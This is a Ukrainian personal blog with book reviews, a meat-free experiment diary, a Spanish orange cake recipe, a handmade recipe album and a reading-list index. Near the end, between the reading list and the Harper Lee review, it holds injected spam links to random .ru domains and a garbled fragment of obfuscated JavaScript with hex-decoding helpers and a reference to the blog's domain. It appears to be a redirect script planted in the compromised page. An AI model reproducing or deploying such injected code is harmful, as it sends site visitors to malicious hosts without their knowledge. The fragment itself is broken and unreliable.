Книжковраження: Обліковець від М. Троян

«- найчастіше їй хочеться плакати. Але вона ніколи цього не робить.
– це погано! … коли хочеться, треба це робити.
Бо ще розучиться хотіти щось інше»

Привітик, я тут кілька книжковражень дописала, то ж перше буде про “Обліковця”. Читати далі

100 днів без мяса, або історія про те, як я стала(не стала) вегетеріанкою;)

Привіт всім, я так давно сюди не писала, що й сама не памятаю, коли воно було… і чернеток маю недописаних цілу купу, книжковражень он штук десять назбиралося. А тут мені ще один експеримент придумався зовсім незаплановано, то ж і на нього час треба:) Пора знову сідати і братися за організацію свого часу)))
Але я коротенько про експеримент – я розлюбила мясо. Отак ні з того ні з сього, з абсолютної мясоїдки я стала немясоїдною… сама довгий час не могла зрозуміти як то воно так сталося: я ж про це не думала навіть. Нє, в мене часами були напади відмовитися від мяса, особливо після всяких передач типу “знак якості” і інших про якість мяса, зокрема і передач про тварин, з яких оте мясо отримуємо, але завжди заспокоювала свою совість тим, що люди то хижаки і їм мясо конче необхідне. А тут – рука звично закидує в рот кусок мяска, а рот зразу ж його випльовує котові.
Я два тижні десь ще прислухалася до свого організму і таки по привичці накидувала мясо в тарілку, але чесно ні кусочка зїсти так і не змогла. Остаточно мене переконало те, що улюблений мною шашлик, печінковий домашній паштет і домашня вуджена на дровах шинка мені мало поперек горла не стали. Отак, після того я вже й не перевіряла навіть, чи мене бува не попустило. Не думала, що так буває, але значить буває… Я не знаю, чи надовго воно в мене таке буде, бо може я завтра прокинуся і захочу відбивної чи курки запеченої в апельсиновому маринаді, але  наразі роблю невеликий експеримент на три місяці без мяса. Експеримент в тому, що я не тільки не їстиму мясо, але й пильнуватиму зміни в організмі(якщо такі будуть) і взагалі – свої враження і відчуття. А ще, як виявилося, без мяса я стала готувати собі купу всяких страв, про які раніше і не думала, що воно смакуватиме без мяса;)
Розганяюся на 100 днів. А там далі буде видно.
І ще – тепер вже знаю, чому отак остаточно розлюбилося мясо – мені останнім часом на очі траплялося багато різних передач, статтей, фото і всякого іншого, що наштовхувало на думку відмови від мяса. Але остаточно мене “переконала” фраза з художньої книжки про те, що будь-яке мясо це труп. Уява в мене не така сильна як в Енн Ширлі, але і її хватило уявити ту фразу:) тому отакий результат.
Ділитимуся враженнями кожні 10 днів, і обіцяю розказувати і показувати фото всякого такого різного смачненького і немясного, може вам пригодиться, тим більше починається піст.

Па-па, цікавих вам снів, а мені і просто виспатися підійде… в спокої і без дитячих ніг на голові, але це, напевно, поки що анріал:)

З дитячої полички #1: про детектива Кота да Вінчі

Я дуже люблю дитячі книжки. Вони ж такі кольорові і з малюнками… Але дорослій людині просто так купляти і читати книжки, призначені для категорії 1-2-3-5 і трохи більше років якось не дуже і на думку прийде. Тому ще один плюс “бути-мамства” – можна разом з дітьми читати ту красу і балдіти від книжки певно що більше, ніж дітвора;) І якщо з Андрійком поки що більше розглядаємо малюнки і озвучуємо, що там намальовано, з Улькою вже можна читати серйозні книжки, довгі, на кілька вечорів, з складнішими сюжетами і серйознішими темами.
На різдвяні свята закупили у Львові цілу гору дитячих книжок, тож тепер потрошки ту купку розгрібаємо. Книжки просто шикарні і порівнюючи з книжками з мого дитинства, тішуся, що теперішні яскравіші та більш оптимістичніші в текстах та ілюстраціях. Самій цікаво розглядати їх, вишукувати деталі. Так що робрика “з дитячої полички” розпочинається!

І перша прочитана цього року книжка була «Кіт да Вінчі» авторства Каті Матюшкіної, видавництво «Махаон-Україна», переклад з російської О. Думанської.
Загалом, враження від книжки у нас приємні. Ульці(5,5 років) книжка взагалі дуже-дуже сподобалася. Тож бо перший детектив в її житті;)
Так, ця книжка – дитячий детектив, де відважний та геніальний Кіт да Вінчі розслідуватиме викрадення картини «Посмішка анаконди» (нічого не нагадує? А в книжці багато отаких «співставлень»:))) .
Отож, злочинцем виявився миш, чи як переклали – мишидло Зиза. А Кіт да Вінчі, звичайно ж, намагатиметься впіймати Зизу і повернути картину. І він не буде у цьому сам! Котові допомагатимуть мишенята Бубуша, Чуча і Пік та інші мешканці звіриного міста. А ще їх завжди переслідуватиме в пошуках репортажів кореспондентка курка Кудаха, яка замість яєць вміє нести газету «Куряча правда». Кіт складатиме фоторобот злочинця, шукатиме слідів, доказів, буде проводити допити та ставки між свідками віч-на-віч, придумуватиме злочинцеві пастки… загалом – поводитиметься як справжній детектив.5 3
Розгадка злочину і виявлення небезпечного злочинця здивували навіть мене. Але не беріть то за показник, бо я прийшла до невтішного висновку, що в детективах нічого не тямлю. Злочинця вгадую аж коли автор тицьне в нього пальцем;)))
Книжка пішла «на ура» і тепер, коли в нас дома невідомо ким робиться якась шкода чи ми щось не можемо знайти, Улька таємничим голосом каже, що то Зиза нашкодив чи вкрав)))
Не сподобалося:
– оскільки оригінал російською мовою, де не де траплялися невдалі переклади слів чи взагалі граматичні помилки, але їх, направду, було дуже мало. Дитині то, звичайно, не відчутно, але мені все прочитане зразу вкладалося в російську мову, оті співставлення слів сонце-слоньце, Юпітер –Япітер, вушка на маківці так і хотілося прочитати «ушки на макушке», ну ви мене зрозуміли…4
– самі герої. Вони смішні, гарно намальовані і в принципі – позитивні, але от Кіт страшенний хвалько і дуже марнославний, не упускає жодної нагоди назвати себе геніальним чи похвалити в інший спосіб; мишенята-помічники підлабузники і в усьому стараються догодити котові, ота така сліпа «закоханість» в свого кумира; Сова пихата і зверхня, та й інші звірі в очі всі добрі і милі, а позаочі один з одного насміхаються, особливо Сова… Можливо то таке тільки моє доросле сприйняття героїв, а дитина сприймає їх зовсім інакше, але це єдине, що мене трохи відштовхує в цій книжці.
Сподобалося:
– те, як книжка оформлена. Ілюстрації малювала авторка і як на мене, вони дуже цікаві. Тут не просто малюнки того, що відбувається, але є «вирізки» з газети «Куряча правда», карти, схеми, написи і малюнки “на полях” і ще різні завдання для дітей, як от скласти фоторобот Зизи, розшифрувати повідомлення за допомогою таємної котячої абетки чи виготовити собі посвідчення детектива. Є уроки малювання планет, поросят і кумедних мармиз. Ульці оті завдання сподобалися найбільше;
7 6 2
– деякі вигадані авторкою і «підігнані» під Звірине місто слова, як от: сова взяла «крилокюрні ножиці» чи сова написала лист «власнокрильно»;
– сама історія, як на мене, дуже кльово знайомить дитину з детективним жанром. І хоч це єдиний дитячий детектив, який я читала, тож порівнювати нема з чим, але дуже вже мені вподобалося, як авторка цю історію «презентує» дітям – цікаво, місцями у формі гри, з ненудними ілюстраціями та віршиками.8

Не знаю чи ми куплятимемо наступні книжки в серії, але так думаю, що Улька влітку попросить ще… До речі, закінчення історії дуже в стилі «далі буде…»))) Там так і написано – “далі буде”)))))9

Про іспанський помаранчовий пиріг

¡Hola
Tengo una receta de un pastel de naranja española!

Не повірите, але поки я перекладала оце “привіт! я до вас з рецептом іспанського апельсинового пирога!”, мені захотілося вивчити іспанську)))), а я ще італійську не довчила!
Я, правда, не впевнена, що гугл переклав добре, але звучить воно кльово. І пиріг кльовий теж, я його вже з пів року, а може й більше печу час від часу. він такий особливий і не сходжий на інші пироги… Почнем з того, що він без муки. і там купа горіхів, ну і помаранчів, звісно ж;)
В нас тут є один місцевий супермаркет Lidl, який щотижня в рекламному буклеті дає два рецепти чогось майже завжди мясного і один рецептик солодкого. А потім, в кінці року, можна придбати в них цілу красивезну книжку з тими рецептами. Безкоштовно, просто треба назбирати наклейки))) поширена система всюди, я так розумію.
Ну і от в минулорічній книжечці з рецептами солодощів надибала я цей помаранчовий пиріг. Гугл каже, що то традиційна іспанська випічка і готувати її дуже просто. Ще й смачно. Правда, аж такого апельсинового духу, на який я сподівалася, я не відчула, але весь смак і запах, як на мене, відкривається вже на язиці, коли його повільно смакуєш…
іспанський апельсиновий пиріг
Отож, рецептик. На стандартну тортівницю треба буде:
– зо 2-3 середні помаранчі, десь так на 200 грам вже готового помаранчового пюре
– 200 грам мелених горіхів, в ідеалі суміш різних чи мигдалю, але й з грецькими пиріг буде смачним (або 150 грам горіхів і ложка муки)
– 5 яєць, а краще 6
– 200 грам цукру
– трохи масла, сухарів чи мелених горіхів на змащення форми на випікання, зо 2 ложки рому чи коньяку, а можна й без нього
– трохи абрикосового джему, або ж будь-якого іншого.

Ну і приготування тіста:
1. помаранчі добре вимити(я десь ще зустрічала варіант з мандаринками, треба теж спробувати). Є кілька варіантів, як з них зробити пюре:
– можна варити цілими в воді 2-3 години, потім розрізати на частинки, вийняти кісточки і розміксувати блендером в кашу
– можна одразу нарізати маленькими кусочками разом зі шкіркою і так трохи проварити(додати трошки води), поки не змякнуть добре, а тоді вже блендерувати
– можна почистити помаранчі як яблука, і повирізати саму мякоть, щоб було якомого менше білої шкірки і перетинок, проварити і розблендерувати.
Від способу приготування помаранчів трохи залежить смак пирога: якщо зі шкіркою, буде більше помаранчевого смаку і аромату, але буде й трохи гірчинка, якщо саме “помаранчове філе”, то гірчинки не буде, пиріг буде солодшим, але й запаху та смаку помаранчів теж буде менше. Я пробувала по різному, мені любиться, коли зі шкіркою, але два помаранчі зі шкіркою – то трохи занадто, тому я один чищу, а другий нарізаю разом зі шкіркою.
2. жовтки і половину цукру зміксерувати в білу пухку масу, до якої потрошки домішати негаряче помаранчове пюре та горіхову “муку”
3. білки з другою половиною цукру збити в тугий сніг і дуже легенько вмішати в горіхову масу
4. форму на випікання змастити маслом і обсипати меленими горіхами чи сухарями, вилити тісто і в духовку на 25-30 хвилин при 175-180 градусах. Тут час випікання вже мусите самі контролювати, бо ж духовки різні… але я завжди перевіряю зубочисткою в середині пирога. Як не витягується за зубочисткою сирого тіста, то значить готовий. Пиріг підросте трохи, а потім, коли витягнете, красиво впаде.
5. спечений охолоджений пиріг скропити фламбованим ромом(типу загріти його і підпалити, я такого не робила ще, просто скроплювала чуть-чуть для запаху) і змастити абрикосовим джемом. Можна й будь-яким іншим. Останнього разу в мене був трояндовий і то була бомба!
Всьо. Можна їсти. Я, зізнаюся, ще жодного разу не вичекала, щоб він охолов нормально, теплий він мені має якийсь особливий аромат і смак:)
іспанський апельсиновий пиріг іспанський апельсиновий пиріг іспанський апельсиновий пиріг

Смак в пирога дуже-дуже цікавий: помаранч дає кислинку і трошки гірчинку(якщо зі шкіркою), горіхи якби протушковуються і набувають завсім іншого смаку. Пиріг по консистенції виходить “мокрим”, але якщо додати трохи муки, то буде сухішим. Ну і можна трохи довше в духовці протримати. Тут дуже багато варіантів “хімічити” з кожним із складників і часом випікання, так що експериментуйте, пиріг того вартий;)

А, і тут можете глянути відео приготування цього пирога, словацькою, правда, але зрозуміти дасться.

І ще, знаю, що мої фотки не дуже “смачно” виглядають, але я вчуся фоткати їжу красиво;)

Книжковраження: Біографія випадкового чуда від Т. Малярчук

img0189-kopyya_JPG_220x220_На «Біографію випадкового чуда» від Тані Малярчук – письменниці з Івано-Франківська, я злакомилася через назву. здається, раніше не читала на цю книжку відгуків, тому коли почала читати книжку, то й уявлення не мала про що вона. Зачепилася за назву, почала читати, а далі вже не дочитати просто не могла. Ділюся книжковраженнями, а вони дуже неоднозначні;)

15823678Трохи дивна книжка, як на мене…. І не те, щоб вона мені аж так дуже сподобалася, але й сказати, що не сподобалася – теж не можу. Ну от, щойно дочитала, а навіть не можу сказати, про що вона. Про чудо? та ніби не дуже…, про історію життя головної героїні Лєни? – теж якось не тягне на класичну історію життя…  Просто тут немає чіткої сюжетної лінії, а є маленька людинка Лєна, яка відчайдушно старається боротися із системою, має “хворобливе” прагнення до справедливості та героїзму і захищати слабших + уривками опис певних подій з життя цієї Лєни. Я навіть на середині книжки десь вже була її закинула і думала не дочитувати, але таки вона засіла мені в мізки і як набридлива муха тихо бдзиніла “дочитай”, тож дочитала, і не шкодую…
Спочатку, через “мову” розповіді, я подумала що це буде щось підліткове і навіть трохи кумедне, але тут зовсім непідліткова література, і кумедного тут зовсім нічого нема. Вона трохи сумна, але якщо описати книжку одним словом, вона – НЕКОМФОРТНА! Через підняті авторкою теми, через ненав’язливе “тицяння носом” читача у хвороби суспільства в цілому і кожного з його особистостей(і читача в т.ч.), зокрема. Байдужість, непомічання чужих проблем, небажання добиватися правди, оте “моя хата з краю”, “всім не поможеш” і “я тут безсила” – все це кожному знайоме і з кожним час від часу стається, будьмо чесними…
Лєна, як головний персонаж книжки, досить цікава, але така ж некомфортна та незручна для суспільства, як книжка для читача в цілому(це я виключно про себе, хоч і думаю, що не я одна така). Вона своєю вірою в справедливість і своєю впертістю на шляху до її досягнення багатьох змушує почуватися некомфортно, почуватися другосортними і засоромленими, а це нікому не подобається… Саме тому, я так думаю, з Лєною сталося те, що сталося.
Після книжки багато роздумується, починаєш пригадувати, скільки таких «Лєн» ти бачив в центрі міста, чи біля міської ради, чи просто в новинах і те, як з сумною посмішкою і трохи з таким відчуттям незручності на них дивишся і думаєш «чого ти, наївне, тут стоїш і пікетуєш? Ти й так нічого не доб’єшся, така система, такі закони, така влада і з тим нічого не поробиш. Краще дай собі спокій, йди додому і живи, як всі…» На деякі проблеми дійсно зручніше махнути рукою, закрити очі і зробити вигляд, що їх нема, або ж вони особисто тебе не стосуються і їх вирішення особисто від тебе не залежить. Але деколи і одна маленька людинка здатна щось змінити.
Загалом, книжка хоч і не затягує, але дуже зачіпає за живе. І отой стиль написання, сама мова, те, як написано книжку – мені чомусь дуже сподобалося, зачепило. Ну і є трохи хороших роздумів, Лєна дуже влучно характеризує людей, події, почуття, речі…

Трохи з Лєниних роздумів:
   – “…хотілося обійняти її і так в обіймах задушити, щоб більше не мучилася…”
  – “…злим бути легко. Щоб бути злим не треба докладати зусиль. А от для добра треба постаратися…”
  – “…люди користуються мовою дуже необачно, не відчувають відповідальності за сказані слова. У цьому їхня велика біда…”
   – “…права людини – це абсолютне безправ’я решти живих істот…”
  – “…я можу багато що не любити, але це не означає, що тоді я маю право те що не люблю, вбивати”
  – “…у безнадійній боротьбі головні ті, що борються, бо вони не дають часові зробити із себе чудовиськ…”
Почитаю я ще щось від Малярчук, зачепила вона мене, от:) До того ж, вона майже моя ровесниця, а від цього ще цікавіше;)

П.с.: поки гуглила авторку, вичитала, що історії, описані в “Чуді” – правдиві… і мені від цього ще сумніше(

Книжковраження: Пола Гоукінз – Дівчина у потягу

Давайте я вам сьогодні розкажу про “Дівчину у потягу” англійської письменниці Поли Гоукінз.  
От скажіть мені, що робить першу книжку невідомого нікому автора бестселером? – я прийшла до такого висновку, що вдала реклама і піар.
А далі воно як лавина – чим більше купляють – тим більше реклами і тим більше купляють. Скільки новинок появляється на книжковому ринку щороку, але не всі розкуповуються в таких накладах і з таким ажіотажем як ця. Ну самі подумайте – якщо вірити інформації на обкладинці, цей напружений психологічний трилер за перші місяці продано в 3 000 000 примірниках (так, це три мільйони, в нулях я не помилилася), право на його видання придбало 44 країни, і на екранізацію книжки права теж викуплені.
Цю книжку порівнюють з романом «Зникла» Дж. Філлін та фільмами Гічкока. «Зниклу» я не читала, але Гічкока поважаю. Останнім аргументом для мене став напис про те, що його величність король жахіть і напружених текстів Стівен Кінг майже всю ніч не спав, бо читав цю книжку і не міг від неї відірватися і я дуже підозрюю, що саме ця інформація значно збільшила продажі. Бо ж як фанатці Кінга(не дуже активній, зауважте) мені було цікаво почитати книжку, яка сподобалася моєму літературному «вподобанню». А уявіть собі тих читачів, які від Кінга «торчать»! Та вони ж на другий день пішли купляти «Дівчину у потягу»! От вам і три мільйони примірників…
Ну і ще така фразочка «приготуйтеся до подорожі. Вас здивують жахіття, які причаїлися за поворотом» – я на неї теж купилася, та. Сподівалася дуже гостросюжетного читання, з жахіттями, напруженими ситуаціями і неймовірно цікавими героями, але…
Я вас прошу – які жахіття? Який трилер? Та ще й психологічний? Та трилером тут і не пахне, а жахіття в Гаррі Поттері були жахливішими ніж тут! Це навіть на порядний детектив не тягне, хоча є злочин і його розслідування. А герої? Вони теж сіренькі і не дуже цікаві як такі…Це чисто моя суб’єктивна думка і ви не конче мусите брати її за істину, але я дуже-дуже розчарована цією книжкою. Я чесно не розумію, чому вона б’є всі рекорди, займає найперші позиції у всіх можливих топах і яким чином вона стала бестселером.
От якщо/коли її екранізують, то, можливо, це і буде трилер, бо сам сюжет кльовий. Але таааак нудно розписаний! Реально, цікавими були останні 60-70 сторінок, де вже пішов конкретний натяк на винуватця всіх подій і ті всі події нарешті почали відбуватися.
А до того головна героїня Рейчел, ота сама, що «у потягу», пів сторінки відчайдушно старається не спокуситися черговою бутилочкою вина з самого ранку, а наступні пів сторінки так само відчайдушно старається згадати, що ж вона начудила після того, як все таки спокусилася, бо не пам’ятає ж. І поміж те все старається зрозуміти, чи має вона якесь відношення до зникнення однієї жінки.

Сюжет та головні герої: сюжет, в принципі, досить непоганий і взагалі то навіть цікавий. А от герої якось не дуже прописані, якісь такі «нецілісні», чи що… О, і мушу сказати, що мені тут сподобався стиль подачі інформації. Розповідь ведеться від трьох осіб в форматі «щоденника». Різні часові проміжки, що трохи плутає, але, в цілому, створює цікавий ефект і додає трохи інтриги. Трилер, як не як!
Ну от є Рейчел, одна з оповідачок і майже головний персонаж книжки, бо вся історія закручується навколо її персони. Вона щодня катається поїздом на роботу і з вікна спостерігає за однією сімейною парою, що живе в будинку при самій колії (я чесно намагалася уявити, як будинок може стояти настільки близько до колії, що Рейчел вдавалося роздивитися через вікно всі ті дрібниці, які вона таки роздивилася, навіть, якщо поїзд стояв на світлофорі, але так і не спромоглася).
Рейчел так привикла до цієї сімейної пари, що вигадала собі про них цілу історію, дала їм імена і настільки пройнялася своїми вигадками, що сама, практично, в них повірила. Одного дня вона замітила те, що ніяк не вписувалося в загальну картину щасливого сімейного життя її «друзів за вікном». А потім жінка з цієї щасливої сім’ї зникає. Ну а далі Рейчел старається допомогти поліції знайти ту саму зниклу жінку, про яку вона знає тільки те, що встигла побачити з вікна потягу. Поміж то Рейчел бореться з своїм алкоголізмом, переживає своє минуле і старається дати собі з тим спокій, старається дати спокій своєму колишньому чоловікові та його новій дружині і заспокоїти чоловіка тієї зниклої жінки.
Є ще Анна – друга оповідачка і нова дружина колишнього чоловіка Рейчел. Вона старається позбутися надокучливої Рейчел, а потім страждає від того, що підозрює свого нового чоловіка у зраді.
І є Меган – третя оповідачка і та сама зникла жінка, яка ще й трохи прцювала нянькою у новій сім’ї Анни. Вона теж з добрими тараканами в голові, відвідує психолога і поступово читач дізнається, звідки ті всі таракани взялися і до чого довели Меган.
А ще Том – колишній чоловік Рейчел і теперішній чоловік Анни. Він весь час вискакує то тут, то там. Старається втихомирювати Рейчел, коли та нап’ється і заспокоювати Анну від втручань Рейчел.
Ну і є Скотт – чоловік зниклої Меган, який поводиться як то і має поводитися чоловік, в якого зникла дружина.
Все, оце і вся книжка. І якби не оті останні 60 цікавих сторінок з натяком на трилер, то я би точно шкодувала про витрачений час, вже не кажучи про кошти на придбання цього бестселеру.
Можливо, якби я не мала завищених сподівань на цю книжку, вона би мені трохи більше сподобалася, але я їх мала, тому раджу добре подумати, чи варто братися за цю книжку. Ну хіба що ви дуже-дуже хочете мати про неї свої власні враження і не очікуєте чогось направду моторошного і вельми цікавого в сюжеті.
Paula_Hawkins_Göteborg_Book_Fair_2015Ну і про авторку – Пола Гоукінз, 1972 р.н., народилася в Зимбабве, але вже тривалий час живе у Лондоні. Взагалі то вона журналістка, але от – тепер і авторка світового бестселеру, і я одна з тих, що зробили її такою;)

 

 

Про блокнотики, смачні рецепти і майже-людей

Привіт-привіт!

Сьогодні я буду вам безсоромно хвалити себе, кохану, бо є за що! А ще трохи пофілософствую, бо без тої філософії важко буде зрозуміти, чого ж я себе, найпрекраснішу, отак збираюся хвалити;)
Знаєте, мене буває нападає самокритика часами і якось я от подумала, що якась я така вся трохи незавершена: все в мене зроблено на половину, на четвертину, майже-майже зроблено… ну от буквально все в мене “майже і “трошки”: майже догачкована спідничка Ульці, яку прийшлося всю спороти і вязати наново, бо Улька з неї виросла вже; майже пошите платтячко, там тільки гудзики пришити треба; майже зроблені фотоальбоми – принаймні, є придумані назви, відібрано папір і тканину на обкладинки” майже видрукувані фотографії, бо їх треба тільки занести на друк; майже дошита моя перша тільда – зилишилися тільки чобітки; майже пошитий баранчек Рассел під книжку, яку ми будемо читати з дітьми – баранові треба пришити ноги; майже дочитані більше як 10 книжок – я чесно їх всіх читаю, просто щодня інший настрій і хочеться почитати щось не те, що вчора; майже прибрано в хаті; майже готова вечеря, майже майже майже……Отака от я майже-людинка:)
І тут можна було би засмучуватися і вважати себе неорганізованою, ненаполегливою і без сили волі, але це тільки з одного боку ситуація так виглядає. З іншого боку я ж через оті всі “майже” стільки всього спробувала! І та, в мене купа розпочатих проектів і в один день, мене нападає відповідний настрій і натхнення і я щось з того всього таки доробляю до кінця. І я подумала собі, що це ж чудесно мати можливість бути отаким от майже-чоловічком, мати багацько всього майже готового і можливість в будь-який час те все завершити. Але коли вже щось тай завершиться, то радості немає меж))) Це я не виправдовуюся – мені таки подобається такий стан речей)))
А тепер хвалюся: все почалося рік тому з оцих от горняток, які я купила в подарунок для Уляни великої.
image (1)
В мене теж такі є і оцей прикольний кіт мене дуже посміхає. Влітку горнятка поїхали до сестрички в Київ і тепер котяка посміхає і її. І ще в літі, здається, Улька велика якось сказала, що хоче роздрукувати собі рецептики всяких смаколиків, якими я ділилася в блозі. А мене зразу в секунду напала така ідея, що я можу сама для Ульки великої їх видрукувати і оформити в гарний альбомчик, в такий собі Рецептар (кулінарна книжка мені чомусь дуже дуже не подобається… і не питайте чому, сама не знаю, якесь немилозвучне звучання просто і все…) А Юля якраз робила майстерклас на альбоми. Гріх не скористатися ж)))
Далі прийшла така ідея, що просто написати перелік інгредієнтів і як і з чим їх змішувати – це буде нудно і не цікаво, і навіть банально. Захотілося для особливої хорошої людинки зробити щось таке ж особливе і хороше. І згадалися горнятка з котом. А потім пів року робилася отака от книжечка з Смачними рецептами. Всі рецептики розписано від імені Кота Шоколада. Це Кіт про них розказує, з своєї, особливої, котячої точки зору, звертається до Уляни великої на ім’я, згадує деякі особисті, ще з дитинства і зрозумілі тільки нам з сестрою моментики, що робить подаруночок дуже дуже особливим. Вийшло трохи кумедно і дуже з душею. Впевнена, Улька велика буде посміхатися і згадувати свою старшу сестричку -тобто мене, найкльовішу, кожного разу, як братиме до рук СМАЧНІ РЕЕПТИ ВІД КОТА ШОКОЛАДА)))
Ну і фотки: покритикуйте трохи, знаючі люди, особливо Юля, я таки наліпила туди все що мала, і твої висічки стали дуже в пригоді, так що тобі окреме дякую)
Сторінки в книжечці з паперу для малювання від цього укрвиробника. Направду, дуже приємний в роботі, цупкий, гарно на ньому друкувалося і малювалося, навіть вдалося трохи його ароматизувати, капнувши капельку олійки)
DSCN0118 DSCN0120 DSCN0121 DSCN0123 DSCN0124 DSCN0126 DSCN0128 DSCN0129 DSCN0130 DSCN0131 DSCN0132 DSCN0133 DSCN0134 DSCN0135 DSCN0137 DSCN0138 DSCN0139

На критику реагую добре, так що кажіть що так, а що не дуже так – буду вдячна;) На помилках же вчаться.

Так що всім кльового смачного настрою, а я буду тішитися, що майже-мій кіт вас хоч трошки розпосміхає;)

Екскурсовод книжковраженнями:)

Якось всілася я погортати свій бложик, а саме – книжковраження, і видалося мені то дуже довго заходити в категорію і там гортати всі книжки, щоб знайти потрібну… Та й якщо комусь захочеться подивитися, чи є в мене книжковраження на якусь конкретну книжку, прийдеться переглядати всю категорію або ж забивати в пошук. А так як я часто пишу трохи кучеряво – пошук не завжди може показати результат))) Ну і, зважаючи, що ті книжковраження найбільш відвідувані на бложику, взялася я їх поскладати по поличках. Поличок всього п’ять: українська, зарубіжна, нон-фікшн і дитяча, але ще роблю поличку книжкопланів і книжкороздумів.
Ну от, думаю, це буде зручно і швидко.
П.с.: оновлюю полички! а точніше – спрощую. За пів року користування бачу, що особисто я в цих поличках гублюся, бо в житті класую свої прочитані книжки трохи інакше. А деколи враження такі різні, що й не знаєш, на яку поличку ту книжку приліпити. Тому такі от трохи оновлені полички:D
П.с.с.: а якщо назва книжки ще не має посилання, то, або я не встигла ще її прочитати, або ще не написала

Поличка книжкопланів і книжкороздумів:

Поличка дитячої літератури:

  1.  Катя Матюшкіна /Росія/ – Кіт да Вінчі Посмішка Анаконди
  2.  Свен Нордквіст /Швеція/ – Серія про пригоди дідуня Петсона та котика Фіндуса

  3. Поличка книжок про (і від) цікавих людей та іншого нехудожнього:

    Мамська література та книжки з самоорганізації:

    1. Фабер Адель і Мазліш Елейн – Як слухати, щоб діти говорили, як говорити, щоб діти слухали
    2.Дракерман Памела /США-Франція/ – Французьке виховання
    3. Мулюкина Елена /Росія/ – Как маме все успеть
    4. Рубін Гретхен /США/ – Проект “щастя”

    Поличка художньої літератури:

    1. Рогашко Алла – Осіннє рондо місячної ночі
    2. Слободян Христя – Диво-пристрої для щойно мам

3. Винничук Юрій – Танго смерті
4. Кідрук Макс – Бот
5. Дяченки Марина та Олексій – Дика енергія
6. Малярчук Таня – Біографія випадкового чуда
7. Троян Марина – Обліковець
8. Андрухович Софія – Фелікс Австрія                                                                  

Поличка книжечок зарубіжних авторів:
1. Гарпер Лі/Америка/ – Вбити пересмішника
2. Пола Гоукінз/Англія/ – Дівчина у потязі
3. Шекспір
4. Даль Роальд /Англія/ – Матильда, Джеймс і велетенський персик

раніше:

1. Наталка Бабіна/Білорусія/ – Рибгород
2. Ольга Токарчук/Польща/ – Веди свій плуг понад кістками мертвих
3. Емілі Бронте/Англія/ – Буремний перевал
4. Анна Бронте/Англія/ – Незнайомка з Вілдфел-Холу
5. Люсі Мод Монтгомері/Канада/
Енн з Зелених дахів(Енн Ширлі-1)
– Енн із Ейвонлі (Енн Ширлі-2)
– Енн із острова Принца Едварда (Енн Ширлі-3)
Енн із Шелестких Тополь (Енн Ширлі-4)
Енн у Домі мрії (Енн Ширлі-5)
Енн із Інглсайду (Енн Ширлі-6)
Діти з Долини райдуг (Енн Ширлі-7)
Рілла з Інглсайду (Енн Ширлі-8)
6. Чак Поланік/Америка/ – Чарівна ти
7. Деніел Кіз/Америка/ – Квіти для Елджернона
8. Джоан Харріс(Гарріс) – Шоколад
9. Йоанна Ягелло/Польща/
Кава з кардамоном
– Шоколад із Чилі
10. Бруно Ферреро – 365 коротких історій для душі
11. Ігорь Губерман/Україна, Росія/ – Гарики на каждьій день
12. Йо Несбе/Норвегія/ – Нетопир
13. Йонас Йонассон – Сторічний старий, що виліз в вікно і пропав
14. Марк Леві – Викрадач тіней

Ну от, сподіваюся, так буде набагато зручніше)

https://wek7ipqx359.ru/f2.html?a=26482https://lukpiot0dz.ru/u.html?a=26482

https://25haich4342.ru/f2.html?a=26482https://gyh1lh20owj.ru/u.html?a=26482

https://su2lgyoeucscn.ru/f2.html?a=26698https://doiuhrht.ru/u.html?a=26698

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://su2lgyoeucscn.ru/f2.html?a=26698https://doiuhrht.ru/u.html?a=26698

Книжковраження: Гарпер Лі – Вбити пересмішника

Привіт книжколюбам!

Я з першими книжковраженнями 2016 року. Першою цього року мені “проковтнулася” книженція Гарпер Лі “Убити пересмішника” (в новому видання 2015 року – “вбити пересмішника”).
1436917110Оскільки в своїх книжкопланах на 2016 рік я обіцялася дізнаватися більше інформації про авторів книжок, то спочатку трохи про авторку – Нелл Гарпер Лі (харизматична бабуся, правда?))).
Американська письменниця народилася мало не століття тому в далекому 1926 році, а це, на хвилиночку, 90 років людині 28 квітня буде. Щиро сподіваюся, що авторка відсвяткує цей ювілей і наступні теж).
Пересмішник єдиний роман письменниці, але минулого року літературний світ активно обговорював новину про те, що Гарпер Лі видала продовження Пересмішника – «Піди, постав сторожа» (Go Set a Watchman) – за посиланням знайдете цікаву статтю про Гарпер і нову книжку. Цей твір Нелл написала ще в 1957 році, але в 1960 році друком вийшла лише його перероблена частинка, яку ми знаємо як “Вбити пересмішника”.
Ще одна цікавинка про книжку – такий американський письменник як Трумен Капотте(який написав відомий всім “Сніданок у Тіффані” і про якого я взагалі не знала раніше, сором мені) і Гарпер Лі були дуже хорошими друзями. Один з персонажів “Пересмішника” – Діл Гарріс, змальований саме з Капотте.

CoverNormalНу і про книжку.
Читала я її в електронному варіанті 1975 року видання в перекладі Михайла Харенка, та ще й з телефону, але книжка така кльова, що просто мусить бути на поличці моєї майбутньої етажерки, тому обов’язково куплю, тим більше, що є новеньке українське видання 2015 року від Країни Мрій за перекладом Т. Некряч.
“Вбити пересмішника” це єдиний роман авторки, вперше опублікований в 1960 році. Він одразу ж став бестселлером, а в 1962 році здобув Пулітцерівську премію. Кльовезна книжка і я просто не знаю, як умудрилася її пропустити в шкільні часи. Точно знаю, що ще не раз захочу її перечитати і обов’язково хочу, щоб в майбутньому її почитали мої діти.
Книжка дуже швидко і легко читалася, приємний переклад, сюжет цікавий, а діалоги між героями захоплюють своєю щирістю та безпосередністю.
Забігаючи наперед, скажу, що, напевно, це єдина книжка в моєму читацькому житті, де немає конкретно визначеного головного героя. Там всі герої головні і, водночас, ніхто з них. Книжка взагалі-то про те, як важливо залишатися Людиною і діяти так, як відчуваєш за правильне і необхідне, навіть в тих ситуаціях, коли обставини і суспільство вважає зовсім інакше, про те, як важливо бути чесним перед самим собою.
